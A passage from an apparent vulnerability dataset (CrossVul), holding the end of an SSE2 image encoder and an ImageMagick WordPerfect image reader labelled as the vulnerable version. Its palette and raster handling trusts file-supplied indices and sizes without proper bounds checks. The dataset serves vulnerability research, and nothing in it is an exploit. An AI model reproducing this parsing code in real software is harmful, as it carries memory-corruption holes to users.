* tempWidth; cg_src1 = cg_src0 + tempWidth; for (x = 0; x < tempWidth >> 1; x += 8) { t = _mm_loadu_si128((__m128i*) co_src0); t = _mm_avg_epu8(t, _mm_loadu_si128((__m128i*) co_src1)); val = _mm_and_si128(_mm_srli_si128(t, 1), mask); val = _mm_avg_epu16(val, _mm_and_si128(t, mask)); val = _mm_packus_epi16(val, val); _mm_storeu_si128((__m128i*) co_dst, val); co_dst += 8; co_src0 += 16; co_src1 += 16; t = _mm_loadu_si128((__m128i*) cg_src0); t = _mm_avg_epu8(t, _mm_loadu_si128((__m128i*) cg_src1)); val = _mm_and_si128(_mm_srli_si128(t, 1), mask); val = _mm_avg_epu16(val, _mm_and_si128(t, mask)); val = _mm_packus_epi16(val, val); _mm_storeu_si128((__m128i*) cg_dst, val); cg_dst += 8; cg_src0 += 16; cg_src1 += 16; } } } static BOOL nsc_encode_sse2(NSC_CONTEXT* context, const BYTE* data, UINT32 scanline) { nsc_encode_argb_to_aycocg_sse2(context, data, scanline); if (context->ChromaSubsamplingLevel > 0) { nsc_encode_subsampling_sse2(context); } return TRUE; } void nsc_init_sse2(NSC_CONTEXT* context) { if (!IsProcessorFeaturePresent(PF_XMMI64_INSTRUCTIONS_AVAILABLE)) return; PROFILER_RENAME(context->priv->prof_nsc_encode, "nsc_encode_sse2"); context->encode = nsc_encode_sse2; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_674_4
crossvul-cpp_data_bad_5305_0
/* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % W W PPPP GGGG % % W W P P G % % W W W PPPP G GGG % % WW WW P G G % % W W P GGG % % % % % % Read WordPerfect Image Format % % % % Software Design % % Jaroslav Fojtik % % June 2000 % % % % % % Copyright 1999-2016 ImageMagick Studio LLC, a non-profit organization % % dedicated to making software imaging solutions freely available. % % % % You may not use this file except in compliance with the License. You may % % obtain a copy of the License at % % % % http://www.imagemagick.org/script/license.php % % % % Unless required by applicable law or agreed to in writing, software % % distributed under the License is distributed on an "AS IS" BASIS, % % WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. % % See the License for the specific language governing permissions and % % limitations under the License. % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % */ /* Include declarations. */ #include "magick/studio.h" #include "magick/blob.h" #include "magick/blob-private.h" #include "magick/color-private.h" #include "magick/colormap.h" #include "magick/colormap-private.h" #include "magick/constitute.h" #include "magick/distort.h" #include "magick/exception.h" #include "magick/exception-private.h" #include "magick/cache.h" #include "magick/image.h" #include "magick/image-private.h" #include "magick/list.h" #include "magick/magic.h" #include "magick/magick.h" #include "magick/memory_.h" #include "magick/pixel-accessor.h" #include "magick/quantum-private.h" #include "magick/resource_.h" #include "magick/static.h" #include "magick/string_.h" #include "magick/module.h" #include "magick/transform.h" #include "magick/utility.h" #include "magick/utility-private.h" typedef struct { unsigned char Red; unsigned char Blue; unsigned char Green; } RGB_Record; /* Default palette for WPG level 1 */ static const RGB_Record WPG1_Palette[256]={ { 0, 0, 0}, { 0, 0,168}, { 0,168, 0}, { 0,168,168}, {168, 0, 0}, {168, 0,168}, {168, 84, 0}, {168,168,168}, { 84, 84, 84}, { 84, 84,252}, { 84,252, 84}, { 84,252,252}, {252, 84, 84}, {252, 84,252}, {252,252, 84}, {252,252,252}, /*16*/ { 0, 0, 0}, { 20, 20, 20}, { 32, 32, 32}, { 44, 44, 44}, { 56, 56, 56}, { 68, 68, 68}, { 80, 80, 80}, { 96, 96, 96}, {112,112,112}, {128,128,128}, {144,144,144}, {160,160,160}, {180,180,180}, {200,200,200}, {224,224,224}, {252,252,252}, /*32*/ { 0, 0,252}, { 64, 0,252}, {124, 0,252}, {188, 0,252}, {252, 0,252}, {252, 0,188}, {252, 0,124}, {252, 0, 64}, {252, 0, 0}, {252, 64, 0}, {252,124, 0}, {252,188, 0}, {252,252, 0}, {188,252, 0}, {124,252, 0}, { 64,252, 0}, /*48*/ { 0,252, 0}, { 0,252, 64}, { 0,252,124}, { 0,252,188}, { 0,252,252}, { 0,188,252}, { 0,124,252}, { 0, 64,252}, {124,124,252}, {156,124,252}, {188,124,252}, {220,124,252}, {252,124,252}, {252,124,220}, {252,124,188}, {252,124,156}, /*64*/ {252,124,124}, {252,156,124}, {252,188,124}, {252,220,124}, {252,252,124}, {220,252,124}, {188,252,124}, {156,252,124}, {124,252,124}, {124,252,156}, {124,252,188}, {124,252,220}, {124,252,252}, {124,220,252}, {124,188,252}, {124,156,252}, /*80*/ {180,180,252}, {196,180,252}, {216,180,252}, {232,180,252}, {252,180,252}, {252,180,232}, {252,180,216}, {252,180,196}, {252,180,180}, {252,196,180}, {252,216,180}, {252,232,180}, {252,252,180}, {232,252,180}, {216,252,180}, {196,252,180}, /*96*/ {180,220,180}, {180,252,196}, {180,252,216}, {180,252,232}, {180,252,252}, {180,232,252}, {180,216,252}, {180,196,252}, {0,0,112}, {28,0,112}, {56,0,112}, {84,0,112}, {112,0,112}, {112,0,84}, {112,0,56}, {112,0,28}, /*112*/ {112,0,0}, {112,28,0}, {112,56,0}, {112,84,0}, {112,112,0}, {84,112,0}, {56,112,0}, {28,112,0}, {0,112,0}, {0,112,28}, {0,112,56}, {0,112,84}, {0,112,112}, {0,84,112}, {0,56,112}, {0,28,112}, /*128*/ {56,56,112}, {68,56,112}, {84,56,112}, {96,56,112}, {112,56,112}, {112,56,96}, {112,56,84}, {112,56,68}, {112,56,56}, {112,68,56}, {112,84,56}, {112,96,56}, {112,112,56}, {96,112,56}, {84,112,56}, {68,112,56}, /*144*/ {56,112,56}, {56,112,69}, {56,112,84}, {56,112,96}, {56,112,112}, {56,96,112}, {56,84,112}, {56,68,112}, {80,80,112}, {88,80,112}, {96,80,112}, {104,80,112}, {112,80,112}, {112,80,104}, {112,80,96}, {112,80,88}, /*160*/ {112,80,80}, {112,88,80}, {112,96,80}, {112,104,80}, {112,112,80}, {104,112,80}, {96,112,80}, {88,112,80}, {80,112,80}, {80,112,88}, {80,112,96}, {80,112,104}, {80,112,112}, {80,114,112}, {80,96,112}, {80,88,112}, /*176*/ {0,0,64}, {16,0,64}, {32,0,64}, {48,0,64}, {64,0,64}, {64,0,48}, {64,0,32}, {64,0,16}, {64,0,0}, {64,16,0}, {64,32,0}, {64,48,0}, {64,64,0}, {48,64,0}, {32,64,0}, {16,64,0}, /*192*/ {0,64,0}, {0,64,16}, {0,64,32}, {0,64,48}, {0,64,64}, {0,48,64}, {0,32,64}, {0,16,64}, {32,32,64}, {40,32,64}, {48,32,64}, {56,32,64}, {64,32,64}, {64,32,56}, {64,32,48}, {64,32,40}, /*208*/ {64,32,32}, {64,40,32}, {64,48,32}, {64,56,32}, {64,64,32}, {56,64,32}, {48,64,32}, {40,64,32}, {32,64,32}, {32,64,40}, {32,64,48}, {32,64,56}, {32,64,64}, {32,56,64}, {32,48,64}, {32,40,64}, /*224*/ {44,44,64}, {48,44,64}, {52,44,64}, {60,44,64}, {64,44,64}, {64,44,60}, {64,44,52}, {64,44,48}, {64,44,44}, {64,48,44}, {64,52,44}, {64,60,44}, {64,64,44}, {60,64,44}, {52,64,44}, {48,64,44}, /*240*/ {44,64,44}, {44,64,48}, {44,64,52}, {44,64,60}, {44,64,64}, {44,60,64}, {44,55,64}, {44,48,64}, {0,0,0}, {0,0,0}, {0,0,0}, {0,0,0}, {0,0,0}, {0,0,0}, {0,0,0}, {0,0,0} /*256*/ }; /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % I s W P G % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % IsWPG() returns True if the image format type, identified by the magick % string, is WPG. % % The format of the IsWPG method is: % % unsigned int IsWPG(const unsigned char *magick,const size_t length) % % A description of each parameter follows: % % o status: Method IsWPG returns True if the image format type is WPG. % % o magick: compare image format pattern against these bytes. % % o length: Specifies the length of the magick string. % */ static unsigned int IsWPG(const unsigned char *magick,const size_t length) { if (length < 4) return(MagickFalse); if (memcmp(magick,"\377WPC",4) == 0) return(MagickTrue); return(MagickFalse); } static void Rd_WP_DWORD(Image *image,size_t *d) { unsigned char b; b=ReadBlobByte(image); *d=b; if (b < 0xFFU) return; b=ReadBlobByte(image); *d=(size_t) b; b=ReadBlobByte(image); *d+=(size_t) b*256l; if (*d < 0x8000) return; *d=(*d & 0x7FFF) << 16; b=ReadBlobByte(image); *d+=(size_t) b; b=ReadBlobByte(image); *d+=(size_t) b*256l; return; } static void InsertRow(unsigned char *p,ssize_t y,Image *image, int bpp) { ExceptionInfo *exception; int bit; ssize_t x; register PixelPacket *q; IndexPacket index; register IndexPacket *indexes; exception=(&image->exception); switch (bpp) { case 1: /* Convert bitmap scanline. */ { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; indexes=GetAuthenticIndexQueue(image); for (x=0; x < ((ssize_t) image->columns-7); x+=8) { for (bit=0; bit < 8; bit++) { index=((*p) & (0x80 >> bit) ? 0x01 : 0x00); SetPixelIndex(indexes+x+bit,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; } p++; } if ((image->columns % 8) != 0) { for (bit=0; bit < (ssize_t) (image->columns % 8); bit++) { index=((*p) & (0x80 >> bit) ? 0x01 : 0x00); SetPixelIndex(indexes+x+bit,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; } p++; } if (!SyncAuthenticPixels(image,exception)) break; break; } case 2: /* Convert PseudoColor scanline. */ { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; indexes=GetAuthenticIndexQueue(image); for (x=0; x < ((ssize_t) image->columns-1); x+=4) { index=ConstrainColormapIndex(image,(*p >> 6) & 0x3); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; index=ConstrainColormapIndex(image,(*p >> 4) & 0x3); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; index=ConstrainColormapIndex(image,(*p >> 2) & 0x3); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; index=ConstrainColormapIndex(image,(*p) & 0x3); SetPixelIndex(indexes+x+1,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); p++; q++; } if ((image->columns % 4) != 0) { index=ConstrainColormapIndex(image,(*p >> 6) & 0x3); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; if ((image->columns % 4) >= 1) { index=ConstrainColormapIndex(image,(*p >> 4) & 0x3); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; if ((image->columns % 4) >= 2) { index=ConstrainColormapIndex(image,(*p >> 2) & 0x3); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; } } p++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; break; } case 4: /* Convert PseudoColor scanline. */ { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; indexes=GetAuthenticIndexQueue(image); for (x=0; x < ((ssize_t) image->columns-1); x+=2) { index=ConstrainColormapIndex(image,(*p >> 4) & 0x0f); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); q++; index=ConstrainColormapIndex(image,(*p) & 0x0f); SetPixelIndex(indexes+x+1,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); p++; q++; } if ((image->columns % 2) != 0) { index=ConstrainColormapIndex(image,(*p >> 4) & 0x0f); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); p++; q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; break; } case 8: /* Convert PseudoColor scanline. */ { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; indexes=GetAuthenticIndexQueue(image); for (x=0; x < (ssize_t) image->columns; x++) { index=ConstrainColormapIndex(image,*p); SetPixelIndex(indexes+x,index); SetPixelRGBO(q,image->colormap+(ssize_t) index); p++; q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } break; case 24: /* Convert DirectColor scanline. */ q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { SetPixelRed(q,ScaleCharToQuantum(*p++)); SetPixelGreen(q,ScaleCharToQuantum(*p++)); SetPixelBlue(q,ScaleCharToQuantum(*p++)); q++; } if (!SyncAuthenticPixels(image,exception)) break; break; } } /* Helper for WPG1 raster reader. */ #define InsertByte(b) \ { \ BImgBuff[x]=b; \ x++; \ if((ssize_t) x>=ldblk) \ { \ InsertRow(BImgBuff,(ssize_t) y,image,bpp); \ x=0; \ y++; \ } \ } /* WPG1 raster reader. */ static int UnpackWPGRaster(Image *image,int bpp) { int x, y, i; unsigned char bbuf, *BImgBuff, RunCount; ssize_t ldblk; x=0; y=0; ldblk=(ssize_t) ((bpp*image->columns+7)/8); BImgBuff=(unsigned char *) AcquireQuantumMemory((size_t) ldblk, 8*sizeof(*BImgBuff)); if(BImgBuff==NULL) return(-2); while(y<(ssize_t) image->rows) { int c; c=ReadBlobByte(image); if (c == EOF) break; bbuf=(unsigned char) c; RunCount=bbuf & 0x7F; if(bbuf & 0x80) { if(RunCount) /* repeat next byte runcount * */ { bbuf=ReadBlobByte(image); for(i=0;i<(int) RunCount;i++) InsertByte(bbuf); } else { /* read next byte as RunCount; repeat 0xFF runcount* */ c=ReadBlobByte(image); if (c < 0) break; RunCount=(unsigned char) c; for(i=0;i<(int) RunCount;i++) InsertByte(0xFF); } } else { if(RunCount) /* next runcount byte are readed directly */ { for(i=0;i < (int) RunCount;i++) { bbuf=ReadBlobByte(image); InsertByte(bbuf); } } else { /* repeat previous line runcount* */ c=ReadBlobByte(image); if (c < 0) break; RunCount=(unsigned char) c; if(x) { /* attempt to duplicate row from x position: */ /* I do not know what to do here */ BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff); return(-3); } for(i=0;i < (int) RunCount;i++) { x=0; y++; /* Here I need to duplicate previous row RUNCOUNT* */ if(y<2) continue; if(y>(ssize_t) image->rows) { BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff); return(-4); } InsertRow(BImgBuff,y-1,image,bpp); } } } } BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff); return(y < (ssize_t) image->rows ? -5 : 0); } /* Helper for WPG2 reader. */ #define InsertByte6(b) \ { \ DisableMSCWarning(4310) \ if(XorMe)\ BImgBuff[x] = (unsigned char)~b;\ else\ BImgBuff[x] = b;\ RestoreMSCWarning \ x++; \ if((ssize_t) x >= ldblk) \ { \ InsertRow(BImgBuff,(ssize_t) y,image,bpp); \ x=0; \ y++; \ } \ } /* WPG2 raster reader. */ static int UnpackWPG2Raster(Image *image,int bpp) { int XorMe = 0; int RunCount; size_t x, y; ssize_t i, ldblk; unsigned int SampleSize=1; unsigned char bbuf, *BImgBuff, SampleBuffer[8] = { 0, 0, 0, 0, 0, 0, 0, 0 }; x=0; y=0; ldblk=(ssize_t) ((bpp*image->columns+7)/8); BImgBuff=(unsigned char *) AcquireQuantumMemory((size_t) ldblk, sizeof(*BImgBuff)); if(BImgBuff==NULL) return(-2); while( y< image->rows) { bbuf=ReadBlobByte(image); switch(bbuf) { case 0x7D: SampleSize=ReadBlobByte(image); /* DSZ */ if(SampleSize>8) return(-2); if(SampleSize<1) return(-2); break; case 0x7E: (void) FormatLocaleFile(stderr, "\nUnsupported WPG token XOR, please report!"); XorMe=!XorMe; break; case 0x7F: RunCount=ReadBlobByte(image); /* BLK */ if (RunCount < 0) break; for(i=0; i < SampleSize*(RunCount+1); i++) { InsertByte6(0); } break; case 0xFD: RunCount=ReadBlobByte(image); /* EXT */ if (RunCount < 0) break; for(i=0; i<= RunCount;i++) for(bbuf=0; bbuf < SampleSize; bbuf++) InsertByte6(SampleBuffer[bbuf]); break; case 0xFE: RunCount=ReadBlobByte(image); /* RST */ if (RunCount < 0) break; if(x!=0) { (void) FormatLocaleFile(stderr, "\nUnsupported WPG2 unaligned token RST x=%.20g, please report!\n" ,(double) x); return(-3); } { /* duplicate the previous row RunCount x */ for(i=0;i<=RunCount;i++) { InsertRow(BImgBuff,(ssize_t) (image->rows >= y ? y : image->rows-1), image,bpp); y++; } } break; case 0xFF: RunCount=ReadBlobByte(image); /* WHT */ if (RunCount < 0) break; for (i=0; i < SampleSize*(RunCount+1); i++) { InsertByte6(0xFF); } break; default: RunCount=bbuf & 0x7F; if(bbuf & 0x80) /* REP */ { for(i=0; i < SampleSize; i++) SampleBuffer[i]=ReadBlobByte(image); for(i=0;i<=RunCount;i++) for(bbuf=0;bbuf<SampleSize;bbuf++) InsertByte6(SampleBuffer[bbuf]); } else { /* NRP */ for(i=0; i< SampleSize*(RunCount+1);i++) { bbuf=ReadBlobByte(image); InsertByte6(bbuf); } } } } BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff); return(0); } typedef float tCTM[3][3]; static unsigned LoadWPG2Flags(Image *image,char Precision,float *Angle,tCTM *CTM) { const unsigned char TPR=1,TRN=2,SKW=4,SCL=8,ROT=0x10,OID=0x20,LCK=0x80; ssize_t x; unsigned DenX; unsigned Flags; (void) memset(*CTM,0,sizeof(*CTM)); /*CTM.erase();CTM.resize(3,3);*/ (*CTM)[0][0]=1; (*CTM)[1][1]=1; (*CTM)[2][2]=1; Flags=ReadBlobLSBShort(image); if(Flags & LCK) (void) ReadBlobLSBLong(image); /*Edit lock*/ if(Flags & OID) { if(Precision==0) {(void) ReadBlobLSBShort(image);} /*ObjectID*/ else {(void) ReadBlobLSBLong(image);} /*ObjectID (Double precision)*/ } if(Flags & ROT) { x=ReadBlobLSBLong(image); /*Rot Angle*/ if(Angle) *Angle=x/65536.0; } if(Flags & (ROT|SCL)) { x=ReadBlobLSBLong(image); /*Sx*cos()*/ (*CTM)[0][0] = (float)x/0x10000; x=ReadBlobLSBLong(image); /*Sy*cos()*/ (*CTM)[1][1] = (float)x/0x10000; } if(Flags & (ROT|SKW)) { x=ReadBlobLSBLong(image); /*Kx*sin()*/ (*CTM)[1][0] = (float)x/0x10000; x=ReadBlobLSBLong(image); /*Ky*sin()*/ (*CTM)[0][1] = (float)x/0x10000; } if(Flags & TRN) { x=ReadBlobLSBLong(image); DenX=ReadBlobLSBShort(image); /*Tx*/ if(x>=0) (*CTM)[0][2] = (float)x+(float)DenX/0x10000; else (*CTM)[0][2] = (float)x-(float)DenX/0x10000; x=ReadBlobLSBLong(image); DenX=ReadBlobLSBShort(image); /*Ty*/ (*CTM)[1][2]=(float)x + ((x>=0)?1:-1)*(float)DenX/0x10000; if(x>=0) (*CTM)[1][2] = (float)x+(float)DenX/0x10000; else (*CTM)[1][2] = (float)x-(float)DenX/0x10000; } if(Flags & TPR) { x=ReadBlobLSBShort(image); DenX=ReadBlobLSBShort(image); /*Px*/ (*CTM)[2][0] = x + (float)DenX/0x10000;; x=ReadBlobLSBShort(image); DenX=ReadBlobLSBShort(image); /*Py*/ (*CTM)[2][1] = x + (float)DenX/0x10000; } return(Flags); } static Image *ExtractPostscript(Image *image,const ImageInfo *image_info, MagickOffsetType PS_Offset,ssize_t PS_Size,ExceptionInfo *exception) { char postscript_file[MaxTextExtent]; const MagicInfo *magic_info; FILE *ps_file; ImageInfo *clone_info; Image *image2; unsigned char magick[2*MaxTextExtent]; if ((clone_info=CloneImageInfo(image_info)) == NULL) return(image); clone_info->blob=(void *) NULL; clone_info->length=0; /* Obtain temporary file */ (void) AcquireUniqueFilename(postscript_file); ps_file=fopen_utf8(postscript_file,"wb"); if (ps_file == (FILE *) NULL) goto FINISH; /* Copy postscript to temporary file */ (void) SeekBlob(image,PS_Offset,SEEK_SET); (void) ReadBlob(image, 2*MaxTextExtent, magick); (void) SeekBlob(image,PS_Offset,SEEK_SET); while(PS_Size-- > 0) { (void) fputc(ReadBlobByte(image),ps_file); } (void) fclose(ps_file); /* Detect file format - Check magic.mgk configuration file. */ magic_info=GetMagicInfo(magick,2*MaxTextExtent,exception); if(magic_info == (const MagicInfo *) NULL) goto FINISH_UNL; /* printf("Detected:%s \n",magic_info->name); */ if(exception->severity != UndefinedException) goto FINISH_UNL; if(magic_info->name == (char *) NULL) goto FINISH_UNL; (void) strncpy(clone_info->magick,magic_info->name,MaxTextExtent); /* Read nested image */ /*FormatString(clone_info->filename,"%s:%s",magic_info->name,postscript_file);*/ FormatLocaleString(clone_info->filename,MaxTextExtent,"%s",postscript_file); image2=ReadImage(clone_info,exception); if (!image2) goto FINISH_UNL; /* Replace current image with new image while copying base image attributes. */ (void) CopyMagickMemory(image2->filename,image->filename,MaxTextExtent); (void) CopyMagickMemory(image2->magick_filename,image->magick_filename,MaxTextExtent); (void) CopyMagickMemory(image2->magick,image->magick,MaxTextExtent); image2->depth=image->depth; DestroyBlob(image2); image2->blob=ReferenceBlob(image->blob); if ((image->rows == 0) || (image->columns == 0)) DeleteImageFromList(&image); AppendImageToList(&image,image2); FINISH_UNL: (void) RelinquishUniqueFileResource(postscript_file); FINISH: DestroyImageInfo(clone_info); return(image); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e a d W P G I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % Method ReadWPGImage reads an WPG X image file and returns it. It % allocates the memory necessary for the new Image structure and returns a % pointer to the new image. % % The format of the ReadWPGImage method is: % % Image *ReadWPGImage(const ImageInfo *image_info,ExceptionInfo *exception) % % A description of each parameter follows: % % o image: Method ReadWPGImage returns a pointer to the image after % reading. A null image is returned if there is a memory shortage or if % the image cannot be read. % % o image_info: Specifies a pointer to a ImageInfo structure. % % o exception: return any errors or warnings in this structure. % */ static Image *ReadWPGImage(const ImageInfo *image_info, ExceptionInfo *exception) { typedef struct { size_t FileId; MagickOffsetType DataOffset; unsigned int ProductType; unsigned int FileType; unsigned char MajorVersion; unsigned char MinorVersion; unsigned int EncryptKey; unsigned int Reserved; } WPGHeader; typedef struct { unsigned char RecType; size_t RecordLength; } WPGRecord; typedef struct { unsigned char Class; unsigned char RecType; size_t Extension; size_t RecordLength; } WPG2Record; typedef struct { unsigned HorizontalUnits; unsigned VerticalUnits; unsigned char PosSizePrecision; } WPG2Start; typedef struct { unsigned int Width; unsigned int Height; unsigned int Depth; unsigned int HorzRes; unsigned int VertRes; } WPGBitmapType1; typedef struct { unsigned int Width; unsigned int Height; unsigned char Depth; unsigned char Compression; } WPG2BitmapType1; typedef struct { unsigned int RotAngle; unsigned int LowLeftX; unsigned int LowLeftY; unsigned int UpRightX; unsigned int UpRightY; unsigned int Width; unsigned int Height; unsigned int Depth; unsigned int HorzRes; unsigned int VertRes; } WPGBitmapType2; typedef struct { unsigned int StartIndex; unsigned int NumOfEntries; } WPGColorMapRec; /* typedef struct { size_t PS_unknown1; unsigned int PS_unknown2; unsigned int PS_unknown3; } WPGPSl1Record; */ Image *image; unsigned int status; WPGHeader Header; WPGRecord Rec; WPG2Record Rec2; WPG2Start StartWPG; WPGBitmapType1 BitmapHeader1; WPG2BitmapType1 Bitmap2Header1; WPGBitmapType2 BitmapHeader2; WPGColorMapRec WPG_Palette; int i, bpp, WPG2Flags; ssize_t ldblk; size_t one; unsigned char *BImgBuff; tCTM CTM; /*current transform matrix*/ /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickSignature); one=1; image=AcquireImage(image_info); image->depth=8; status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Read WPG image. */ Header.FileId=ReadBlobLSBLong(image); Header.DataOffset=(MagickOffsetType) ReadBlobLSBLong(image); Header.ProductType=ReadBlobLSBShort(image); Header.FileType=ReadBlobLSBShort(image); Header.MajorVersion=ReadBlobByte(image); Header.MinorVersion=ReadBlobByte(image); Header.EncryptKey=ReadBlobLSBShort(image); Header.Reserved=ReadBlobLSBShort(image); if (Header.FileId!=0x435057FF || (Header.ProductType>>8)!=0x16) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); if (Header.EncryptKey!=0) ThrowReaderException(CoderError,"EncryptedWPGImageFileNotSupported"); image->columns = 1; image->rows = 1; image->colors = 0; bpp=0; BitmapHeader2.RotAngle=0; switch(Header.FileType) { case 1: /* WPG level 1 */ while(!EOFBlob(image)) /* object parser loop */ { (void) SeekBlob(image,Header.DataOffset,SEEK_SET); if(EOFBlob(image)) break; Rec.RecType=(i=ReadBlobByte(image)); if(i==EOF) break; Rd_WP_DWORD(image,&Rec.RecordLength); if(EOFBlob(image)) break; Header.DataOffset=TellBlob(image)+Rec.RecordLength; switch(Rec.RecType) { case 0x0B: /* bitmap type 1 */ BitmapHeader1.Width=ReadBlobLSBShort(image); BitmapHeader1.Height=ReadBlobLSBShort(image); if ((BitmapHeader1.Width == 0) || (BitmapHeader1.Height == 0)) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); BitmapHeader1.Depth=ReadBlobLSBShort(image); BitmapHeader1.HorzRes=ReadBlobLSBShort(image); BitmapHeader1.VertRes=ReadBlobLSBShort(image); if(BitmapHeader1.HorzRes && BitmapHeader1.VertRes) { image->units=PixelsPerCentimeterResolution; image->x_resolution=BitmapHeader1.HorzRes/470.0; image->y_resolution=BitmapHeader1.VertRes/470.0; } image->columns=BitmapHeader1.Width; image->rows=BitmapHeader1.Height; bpp=BitmapHeader1.Depth; goto UnpackRaster; case 0x0E: /*Color palette */ WPG_Palette.StartIndex=ReadBlobLSBShort(image); WPG_Palette.NumOfEntries=ReadBlobLSBShort(image); image->colors=WPG_Palette.NumOfEntries; if (!AcquireImageColormap(image,image->colors)) goto NoMemory; for (i=WPG_Palette.StartIndex; i < (int)WPG_Palette.NumOfEntries; i++) { image->colormap[i].red=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); image->colormap[i].green=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); image->colormap[i].blue=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); } break; case 0x11: /* Start PS l1 */ if(Rec.RecordLength > 8) image=ExtractPostscript(image,image_info, TellBlob(image)+8, /* skip PS header in the wpg */ (ssize_t) Rec.RecordLength-8,exception); break; case 0x14: /* bitmap type 2 */ BitmapHeader2.RotAngle=ReadBlobLSBShort(image); BitmapHeader2.LowLeftX=ReadBlobLSBShort(image); BitmapHeader2.LowLeftY=ReadBlobLSBShort(image); BitmapHeader2.UpRightX=ReadBlobLSBShort(image); BitmapHeader2.UpRightY=ReadBlobLSBShort(image); BitmapHeader2.Width=ReadBlobLSBShort(image); BitmapHeader2.Height=ReadBlobLSBShort(image); if ((BitmapHeader2.Width == 0) || (BitmapHeader2.Height == 0)) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); BitmapHeader2.Depth=ReadBlobLSBShort(image); BitmapHeader2.HorzRes=ReadBlobLSBShort(image); BitmapHeader2.VertRes=ReadBlobLSBShort(image); image->units=PixelsPerCentimeterResolution; image->page.width=(unsigned int) ((BitmapHeader2.LowLeftX-BitmapHeader2.UpRightX)/470.0); image->page.height=(unsigned int) ((BitmapHeader2.LowLeftX-BitmapHeader2.UpRightY)/470.0); image->page.x=(int) (BitmapHeader2.LowLeftX/470.0); image->page.y=(int) (BitmapHeader2.LowLeftX/470.0); if(BitmapHeader2.HorzRes && BitmapHeader2.VertRes) { image->x_resolution=BitmapHeader2.HorzRes/470.0; image->y_resolution=BitmapHeader2.VertRes/470.0; } image->columns=BitmapHeader2.Width; image->rows=BitmapHeader2.Height; bpp=BitmapHeader2.Depth; UnpackRaster: if ((image->colors == 0) && (bpp != 24)) { image->colors=one << bpp; if (!AcquireImageColormap(image,image->colors)) { NoMemory: ThrowReaderException(ResourceLimitError, "MemoryAllocationFailed"); } /* printf("Load default colormap \n"); */ for (i=0; (i < (int) image->colors) && (i < 256); i++) { image->colormap[i].red=ScaleCharToQuantum(WPG1_Palette[i].Red); image->colormap[i].green=ScaleCharToQuantum(WPG1_Palette[i].Green); image->colormap[i].blue=ScaleCharToQuantum(WPG1_Palette[i].Blue); } } else { if (bpp < 24) if ( (image->colors < (one << bpp)) && (bpp != 24) ) image->colormap=(PixelPacket *) ResizeQuantumMemory( image->colormap,(size_t) (one << bpp), sizeof(*image->colormap)); } if (bpp == 1) { if(image->colormap[0].red==0 && image->colormap[0].green==0 && image->colormap[0].blue==0 && image->colormap[1].red==0 && image->colormap[1].green==0 && image->colormap[1].blue==0) { /* fix crippled monochrome palette */ image->colormap[1].red = image->colormap[1].green = image->colormap[1].blue = QuantumRange; } } if(UnpackWPGRaster(image,bpp) < 0) /* The raster cannot be unpacked */ { DecompressionFailed: ThrowReaderException(CoderError,"UnableToDecompressImage"); } if(Rec.RecType==0x14 && BitmapHeader2.RotAngle!=0 && !image_info->ping) { /* flop command */ if(BitmapHeader2.RotAngle & 0x8000) { Image *flop_image; flop_image = FlopImage(image, exception); if (flop_image != (Image *) NULL) { DuplicateBlob(flop_image,image); (void) 